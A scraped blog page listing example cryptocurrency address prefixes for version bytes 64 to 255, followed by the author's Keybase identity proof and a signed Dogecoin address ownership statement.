Version: 64, Address: Skdc1x5SSYf5LjvYZrKQ32RMHHVNWCkvvo
Version: 65, Address: T9yD14Nj9j7xAB4dbGeiX9h8unkKHxuWwb
Version: 66, Address: TZJozAg1ruapycCicgz31GxvYJ1G1qELV7
Version: 67, Address: TxeQyGyJa63ho3Loe7KMVQEiAoGCjsUGkb
Version: 68, Address: UMz1xPGbHGWacUUtfXefyXWVoJX9Q2kNtF
Version: 69, Address: UmKcwVZszSyTRucygwyzTenHRon69evUe1
Version: 70, Address: VAfDvbsAhdSLFLm4iNKJwn454K32pQL4Ne
Version: 71, Address: VZzpuiATQouD4mu9jnedRuKrgpHyY2Me1w
Version: 72, Address: VyLRtpTk7zN5tD3EmCywv2beKKYvDmMwFV
Version: 73, Address: WNg2svm2qApxheBKndKGQ9sRwporvRgRpT
Version: 74, Address: Wn1ds34KYMHqX5KQp3eatH9DaL4ogbVZA4
Version: 75, Address: XBMEr9McFXkiLWTVqTyuNQR1CqKkMPMn6L
Version: 76, Address: XagqqFetxiDb9wbartKDrXgnqLah6SqX2S
Version: 77, Address: Xz2SpMxBftgTyNjftJeYLexaTqqdn8nnGv
Version: 78, Address: YPN3oUFUP59LnoskuiyrpnEN6M6aXT4ZJD
Version: 79, Address: YnhenaYm6FcDcF1qw9KBJuW9irMXAhFG9T
Version: 80, Address: ZC3Fmgr3oS56Rg9vxZeVo2mwMMcTvhxKzc
Version: 81, Address: ZbNrko9LWcXyF7J1yyypHA3iyrsQd7Yfms
Version: 82, Address: ZziTjuSdDnzr4YS71QK8mHKWcN8MMmMdi8
Version: 83, Address: aQ44j1juvyTisyaC2peTFQbJEsPJ6xNJsd
Version: 84, Address: aoPfi83Ce9vbhQiH4EymjXs5sNeEoGtEFB
Version: 85, Address: bCjGhELVMLPUWqrN5fK6Df8sVsuBWTKAVN
Version: 86, Address: bc4sgLdn4WrMLGzT75eQhnQf8PA8EpiYbA
Version: 87, Address: c1QUfSw4mhKE9i8Y8VyjBugSktR4tTNknH
Version: 88, Address: cQk5eZEMUsn6y9Gd9vK3g2xEPPg1e5m7n6
Version: 89, Address: cp5gdfXeC4EynaQiBLeNAAE21tvxGwsxK9
Version: 90, Address: dDRHcmpvuEhrc1YoCkygeHVoeQBtzThwNG
Version: 91, Address: dcktbt8DcRAjRSgtEBK18QmbGuSqmo3n8w
Version: 92, Address: e26VazRWKbdcEspyFbeKcY3NuQhnUNMBCG
Version: 93, Address: eRS6a6io2n6V4Jy4H1ye6fKAXuxj8Equm7
Version: 94, Address: epmhZD25jxZMsk79JSJxanaxARDfvXHFj8
Version: 95, Address: fE7JYKKNT92EhBFEKreH4urjnvUceJJVZJ
Version: 96, Address: fdSuXRcfAKV7WcPKMGybZ38XRRjZFwi6Qq
Version: 97, Address: g2nWWXuwsVwzL3XQNhJv3AQK3vzVzJ2DTZ
Version: 98, Address: gS87VeDEagQs9UfVQ7eEXHg6gSFSgoxxnJ
Version: 99, Address: gqTiUkWXHrsjxuoaRXyZ1QwtJwWPUVqsM2
Version: 100, Address: hEoKTrop13LcnLwfSxJsVYDfwSmLAp8Jq9
Version: 101, Address: he8vSy76iDoVbn5kUNeByfVTZx2GpdZxrX
Version: 102, Address: i3UXS5QPRQGNRDDqVnyWTnmFCTHDbzmsYk
Version: 103, Address: iSp8RBhg8ajFEeMvXDJpwv32pxYAJusoSs
Version: 104, Address: ir9jQHzxqmC845W1Yde9S3JpTTo72C9YY8
Version: 105, Address: jFVLPQJFYwezsWe6a3yTvAac5y43kgdYJD
Version: 106, Address: jepwNWbYG87sgwnBbUJnQHrPiUJzTmT4xi
Version: 107, Address: k4AYMctpyJakWNvGcte6tR8BLyZw8fDMYV
Version: 108, Address: kTW9LjC7gV3dKp4MeJyRNYPxyUpstdSbBh
Version: 109, Address: krqkKqVQPfWW9FCSfjJjrffkbz5pYzx3eg
Version: 110, Address: mGBMJwnh6qyNxgLXh9e4LnwYEVLmJ99DAh
Version: 111, Address: mfWxJ45yp2SFn7UciZyNpvDKrzbhyfKrY8
Version: 112, Address: n4rZHAPGXCu8bYchjzJhK3V7VVrefDJHw3
Version: 113, Address: nUCAGGgZEPN1QyknmQe1oAku817bQAFKFt
Version: 114, Address: nsXmFNyqwZptEQtsnpyLHJ2gkWNY5xk9Ad
Version: 115, Address: oGsNEVH8ekHm3r2xpFJemRJUP1dUrQ9Tgo
Version: 116, Address: ogCyDbaRMvkdsHB3qfdyFYaG1WtRY9uKob
Version: 117, Address: p5YaChsi57DWgiK8s5yHjfr3e29NBSr2Lr
Version: 118, Address: pUtBBpAznHgPW9TDtWJcDo7qGXQJtffELg
Version: 119, Address: ptDnAvUHVU9GKabJuvdvhvPcu2fFhbCHUk
Version: 120, Address: qHZPA2maCec991jPwLyFC3fQXXvCQKGhkU
Version: 121, Address: qgtz994ruq51xSsUxmJZgAwCA3B96uWX9n
Version: 122, Address: r6Eb8FN9d1Xtmt1ZzBdtAJCynYS5jpWCRq
Version: 123, Address: rVaC7MfSLBzmbK9f1byCeRUmR3h2VUPcwu
Version: 124, Address: rtuo6Txj3NTeQkHk32JX8YkZ3YwyE5uSav
Version: 125, Address: sJFQ5aG1kYvXEBRq4Sdqcg2Lg4CuwtaWNi
Version: 126, Address: shb14gZJTjPQ3cZv5ryA6oJ8JZTrevAQV4
Version: 127, Address: t6vc3nrbAurGs3i17HJUavZuw4ioKTiFCE
Version: 128, Address: tWGD2u9st6K9gUr68hdo53qhZZyk3JoQAF
Version: 129, Address: tubp21TAbGn2VuzBA7y7ZB7VC5EgmEm7bj
Version: 130, Address: uJwR17kTJTEuKM8GBYJS3JPGpaVdSr7CW1
Version: 131, Address: uiH1zE3k1dhn8nGMCxdkXRf4T5kaCdkd5L
Version: 132, Address: v7ccyLM2ipAexDQSENy51Yvr5b1WsV3aCb
Version: 133, Address: vWxDxSeKRzdXmeYXFoJPVgCdi6GTe9oudV
Version: 134, Address: vvHpwYwc9B6Qb5gcHDdhyoURLbXQKTGrr1
Version: 135, Address: wKdRvfEtrMZHQWphJdy2TvkCy6nM2sRvXd
Version: 136, Address: wiy2umYBZY2ADwxnL4JLx41zbc3HkExbah
Version: 137, Address: x8JdtsqUGiV33P6sMUdfSBHnE7JEUyxTaJ
Version: 138, Address: xXeEsz8kytwurpExNtxyvJZZrcZB9EDJbg
Version: 139, Address: xvyqs6S3h5QngFP3QKJJQRqMV7p7sd48cU
Version: 140, Address: yLKSrCjLQFsfVgX8RjdctZ797d54atPjnV
Version: 141, Address: yjf3qK2d7SLYK7fDT9xwNgNvk8L1K3VhGr
Version: 142, Address: z8zepRKupcoR8YoJUaJFroeiNdawygAmXb
Version: 143, Address: zYLFoXdCXoGHwywPVzdaLvvW18qtkfAi67
Version: 144, Address: zwfrndvVEyjAmR5UXQxtq4CHde6qUBPryp
Version: 145, Address: 21M1TmkDmxAC3arDZYqJDKBU5G9MnASQWhb
Version: 146, Address: 21kM4krX4fLevQHMeaFdXoJjrteciobSpTE
Version: 147, Address: 229gfjxpMNX7oDiVjbfxrHS1eX9sfZM4YhE
Version: 148, Address: 22Z2Gj57e5hag39dpd6JAmZHS9f8cJtPSwe
Version: 149, Address: 22xMsiBQvnt3YramueWdVFgZDnAPYyN9DAW
Version: 150, Address: 23MhUhHiDW4WRg1uzfvxojoq1QfeVjj7JTT
Version: 151, Address: 23m35gQ1WDEyJVT45hMJ8Dw6o3AuSRanfoW
Version: 152, Address: 24ANgfWJnvRSBJtCAimdSi4NafgAPAzJ9Vw
Version: 153, Address: 24ZiHecc5dbu48KLFkBxmCBeNJBRKrksH3x
Version: 154, Address: 24y3tdiuNLnMvwkULmcJ5gJv9vggGW3WGf6
Version: 155, Address: 25NPVcqCf3xpomBcRo2dQASBwZBwDEmoQUw
Version: 156, Address: 25mj6bwVwm9HgackWpSxieZTjBhC9zYcLj6
Version: 157, Address: 26B4hb3oEUKkZQ3tbqsJ38gjWpCT6iqRz2Z
Version: 158, Address: 26aQJaA6XBWDSDV2gsHdMcp1JShi3SJdwwr
Version: 159, Address: 26yjuZGPotggK2vAmthxg6wH65Cxz7aTu2i
Version: 160, Address: 27P5WYNh6bs9BrMJrv8Hzb4YshiDvkmsVmc
Version: 161, Address: 27nR7XUzPK3c4fnSwwYdK5BpfLDUsVoEtAk
Version: 162, Address: 28BkiWbHg2E4wVDb2xxxdZK6SxijpEQDWhR
Version: 163, Address: 28b6KVhaxjQXpJej7zPHx3SNEbDzkyYLg1c
Version: 164, Address: 28zRvUotFSazh85sD1odGXZe2DjFhfiagTM
Version: 165, Address: 29PmXTvBY9mTZwX1J3Dxb1guorEWeMXWj9J
Version: 166, Address: 29o78T2UprwvSkx9P4eHuVpBbUjmb7QsDZ8
Version: 167, Address: 2ACSjS8n7a8PKaPHU64dDywTP7F2Xnso73i
Version: 168, Address: 2AbnLRF5QHJrCPpRZ7UxYU4jAjkHUTriR6y
Version: 169, Address: 2B17wQMNgzVK5DFZe8uHrxBzxNFYRDevbkG
Version: 170, Address: 2BQTYPTfyhfmx2ghjAKdBSKGjzkoMyLjRXP
Version: 171, Address: 2Boo9NZyGQrEpr7qpBjxVvSYXdG4JanKBSc
Version: 172, Address: 2CD8kMgGZ82hhfYyuDAHpQZpKFmKFKjZ76n
Version: 173, Address: 2CcUMLnZqqDAaUz7zEad8th66tGaC2BS8XL
Version: 174, Address: 2D1oxKts8YPdTJRG5FzxTNpMtWmq8ogJg2U
Version: 175, Address: 2DR9ZK1ARFa6L7rQAHRHmrwdg9H65XQAzVH
Version: 176, Address: 2DpVAJ7ThxkZCwHYFJqd6M4uTmnM2BBxq4a
Version: 177, Address: 2EDpmHDkzfw25kigLLFxQqCBFQHbxs7sZ3Z
Version: 178, Address: 2EdANGL4HP7Uxa9pRMgHjKKT32nruaTZbks
Version: 179, Address: 2F2VyFSMa6HwqPaxWP6d3oSipfJ7rHoycY9
Version: 180, Address: 2FRqaEYeroUQiD26bQWxNHZzcHoNo3vqoah
Version: 181, Address: 2FqBBDex9Wesb2TEgRwHgmhGPvJdjn3VySa
Version: 182, Address: 2GEWnCmFSDqLTqtNmTMd1FpYBYotgR79eRB
Version: 183, Address: 2GdrPBsYiw1oLfKWrUmxKjwoyBK9d8FShkh
Version: 184, Address: 2H3BzAyr1eCGDUkewWCHeE55kopQZprrjuM
Version: 185, Address: 2HSXbA69JMNj6JBo2XccxiCMYSKfWZKfNiH
Version: 186, Address: 2HqsC9CSb4ZBy7cw7Z2xHCKdL4pvTJ1puEt
Version: 187, Address: 2JFCo8Jjsmjeqw45CaTHbgSu7hLBQ199hUo
Version: 188, Address: 2JeYQ7R3AUv7ikVDHbscvAaAuKqSLgmg8Ns
Version: 189, Address: 2K3t16XLTC6abZvMNdHxEehSgxLhHPEwWBp
Version: 190, Address: 2KTDc5ddjuH3UPMVTeiHZ8piUaqxE8efyQS
Version: 191, Address: 2KrZD4jw2cTWMCndYg8cscwzGDMDAr2Vfxi
Version: 192, Address: 2LFtp3rEKKdyE2DmdhYxC75G3qrU7XkhRnJ
Version: 193, Address: 2LfER2xXc2pS6qeuiiyHWbCXqUMj4F4VWmR
Version: 194, Address: 2M4a224ptjztyf63okPcq5Kod6rz119KvTG
Version: 195, Address: 2MTud1B8BTBMrUXBtmox9ZT5QjNEweTvJzd
Version: 196, Address: 2MsFDzHRUAMpjHxKyoEHU3aMCMsVtMqs1PV
Version: 197, Address: 2NGapyPiksYHc7PU4pecnXhcyzNkq6XkrCc
Version: 198, Address: 2NfvRxW23aikUvpc9r4x71ptmct1mnVAMDo
Version: 199, Address: 2P5G2wcKLHuDMkFkEsVHRVxAZFPGiWSK8Nu
Version: 200, Address: 2PUbdvicd15gEZgtKtucjz5SLstXfFA9hbp
Version: 201, Address: 2PswEupuuiG97P82QvKx4UCi8WPnbwLazty
Version: 202, Address: 2QHGqtwDCRSbzCZAVwkHNxKyv8u3YcQ1tMm
Version: 203, Address: 2QgcSt3WV8d4s1zJayAchSTFhmQJVN3br24
Version: 204, Address: 2R5x3s9omqoXjqRSfzax1vaXVPuZS5uBrjd
Version: 205, Address: 2RVHerG74Yyzceram21HLQhoH2QpNmpdhPA
Version: 206, Address: 2RtdFqNQMGATVUHir3Rcetq54ev5KUF7CKc
Version: 207, Address: 2SHxrpUhdyLvNHirw4qwyNxLrHRLGCEGteF
Version: 208, Address: 2ShJToazvgXPF7A126GHHs5cduvbCwVFSEJ
Version: 209, Address: 2T6e4nhJDPhr7vb977gccMCtRYRr9g78FVP
Version: 210, Address: 2TVyfmobW6tJzk2HC96wvqLADAw76KwWP8N
Version: 211, Address: 2TuKGkutnp4msZTRHAXHFKTRzoSN37VVAFw
Version: 212, Address: 2UJesk2C5XFEkNtZNBwcZoahnRwcynjeMTL
Version: 213, Address: 2UhzUj8VNERhdCKhTDMwtHhya4SsvS1w2ve
Version: 214, Address: 2V7L5iEnewcAW1kqYEnHCmqFMgx8sBBwaW1
Version: 215, Address: 2VWfghM5wendNqBydGCcXFxX9KTPovpTTp9
Version: 216, Address: 2Vv1HgTPEMy6Fed7iHcwqk5nvwxekeUY6LN
Version: 217, Address: 2WKLtfZgX59Z8U4FoK3HAED4iaTuhHLrQWV
Version: 218, Address: 2WigVefyonL21HVPtLTcUiLLWCyAe3793Hv
Version: 219, Address: 2X826dnH6VWUt6vXyMswoCTcHqURans3VbC
Version: 220, Address: 2XXMhctaPCgwkvMg4PJH7gat5TygXRGHNka
Version: 221, Address: 2XvhJbzsfusQdjnp9QicSAi9s6UwUDaHCTE
Version: 222, Address: 2YL2ub7Axd3sWZDxES8wkeqReizCQq5qeYS
Version: 223, Address: 2YjNWaDUFLELPNf6KTZH58xhSMVTMbuiQue
Version: 224, Address: 2Z8i7ZKmY3QoGC6EQUycPd5yDyziJGUP4yB
Version: 225, Address: 2ZY3iYS4pkbG91XNVWPwi7DF1cVyF1QSRQv
Version: 226, Address: 2ZwPKXYN7Tmj1pxWaXpH2bLWoF1EBjcvjdx
Version: 227, Address: 2aLivWefQAxBtePefZEcM5TnasWV8TZUAnk
Version: 228, Address: 2ak4XVkxgt8emTpnkaewfZb4NW1k58Y6soz
Version: 229, Address: 2b9Q8UsFybK7eHFvqc5Gz3iLA8X11qLGHho
Version: 230, Address: 2bYjjTyZGJVaX6h4vdVcJXqbwm2FxX3mXFt
Version: 231, Address: 2bx5LT5rZ1g3Pv8D1euwd1xsjPXWuJVAuAZ
Version: 232, Address: 2cMQwSC9qirWGjZM6gLGwW69X22mr23ajyL
Version: 233, Address: 2ckkYRJT8S2y9YzVBhkcFzDRJeY2nhTvtkr
Version: 234, Address: 2dA69QQkR9DS2NRdGjAwaULh6H3HjMykJZg
Version: 235, Address: 2dZRkPX3hrPtuBrmMkbGtxTxsuYYgAaFrXZ
Version: 236, Address: 2dxmMNdLzZaMn1HuSn1cDSbEfY3ocqKw2JE
Version: 237, Address: 2eN6xMjeHGkpepj3XoRwXviWTAZ4ZYzZUiZ
Version: 238, Address: 2emSZLqwZywHXeABcprGrQqnEo4KWDUtHZ8
Version: 239, Address: 2fAnAKxErh7kQTbKhrGcAty42RZaSyLdLhp
Version: 240, Address: 2fa7mK4Y9QJDHH2TnsgwVP6Kp44qPdoERF7
Version: 241, Address: 2fyTNJAqS7UgA6Tbsu7GosDbbga6LNxXpjp
Version: 242, Address: 2gNnyHH8ipf92utjxvXc8MLsPK5MH5Y2mh8
Version: 243, Address: 2gn8aGPS1XqbujKt3wwwSqU9AwacDmHzxwT
Version: 244, Address: 2hBUBFVjJF24nYm28yNGmKbQxa5sAaRbBRL
Version: 245, Address: 2haonEc2axCXfNCADznc5oigkCb87CsWT4q
Version: 246, Address: 2hz9PDiKsfNzYBdJK2CwQHqxXq6P3zvPiYL
Version: 247, Address: 2iPUzCpdANZTR14SQ3dGimyEKTbdzhc3wFX
Version: 248, Address: 2inpbBvvT5jvHpVaV53c3G6W766twP9Agiu
Version: 249, Address: 2jCACB3DjnvPAdvia6TwMkDmtic9t4jgUNN
Version: 250, Address: 2jbVoA9X2W6r3TMrf7tGgEM3gM7Qpkek3Bk
Version: 251, Address: 2jzqQ9FpKDHJvGnzk9JbziUKTycfmUfunZT
Version: 252, Address: 2kQB18N7bvTmo6E8qAiwKCbbFc7viDRKCkh
Version: 253, Address: 2koWc7UQtdeEfufGvC9Gdgis3EdBexf8fte
Version: 254, Address: 2mCrD6aiBLphYj6R1DZbxAr8ps8SbbVvNZX
Version: 255, Address: 2mcBp5h1U41ARYXZ6EywGeyQcVdhYP7dFob
Posted: 10/22/2014 3:40:57 AM

Cryptographic proofs

The following is signed:

Hash: SHA512

I hereby claim:

1. I own earlz.net and lastyearswishes.com as the website and domain.
2. I am earlz (https://keybase.io/earlz) on keybase.
3. I have a public key whose fingerprint is C114 6A0D 6250 CAEA E3C7  5516 224E 8EA1 9223 B76D

And finally, I am proving ownership of this website by posting this here. 
Version: Keybase OpenPGP JS 0.0.1
Comment: https://keybase.io/crypto


My publicly-auditable identity:


From the command line:

Consider the keybase command line program.

# look me up
keybase id earlz

# encrypt a message to me
keybase encrypt earlz -m 'a secret message...'

# ...and more...

Dogecoin address ownership verification

Hash: SHA512

The Dogecoin address DTe6ymUDiTNaLEe4qBNyLzZyMUnEgLTRnT is owned by Earlz, who also owns earlz.net and has a publicly-auditable identity at https://keybase.io/earlz

Signature: IIiNwuV3rp5yhDo5WzPymlO7ARBHZj9J25eUDKflbg+WfsOozULFk+fptsxLj5G0jHG3+2Ww5SpkLIP6DNJZirM=
Version: Keybase OpenPGP JS 0.0.1
Comment: https://keybase.io/crypto

Posted: 3/18/2014 8:51:01 PM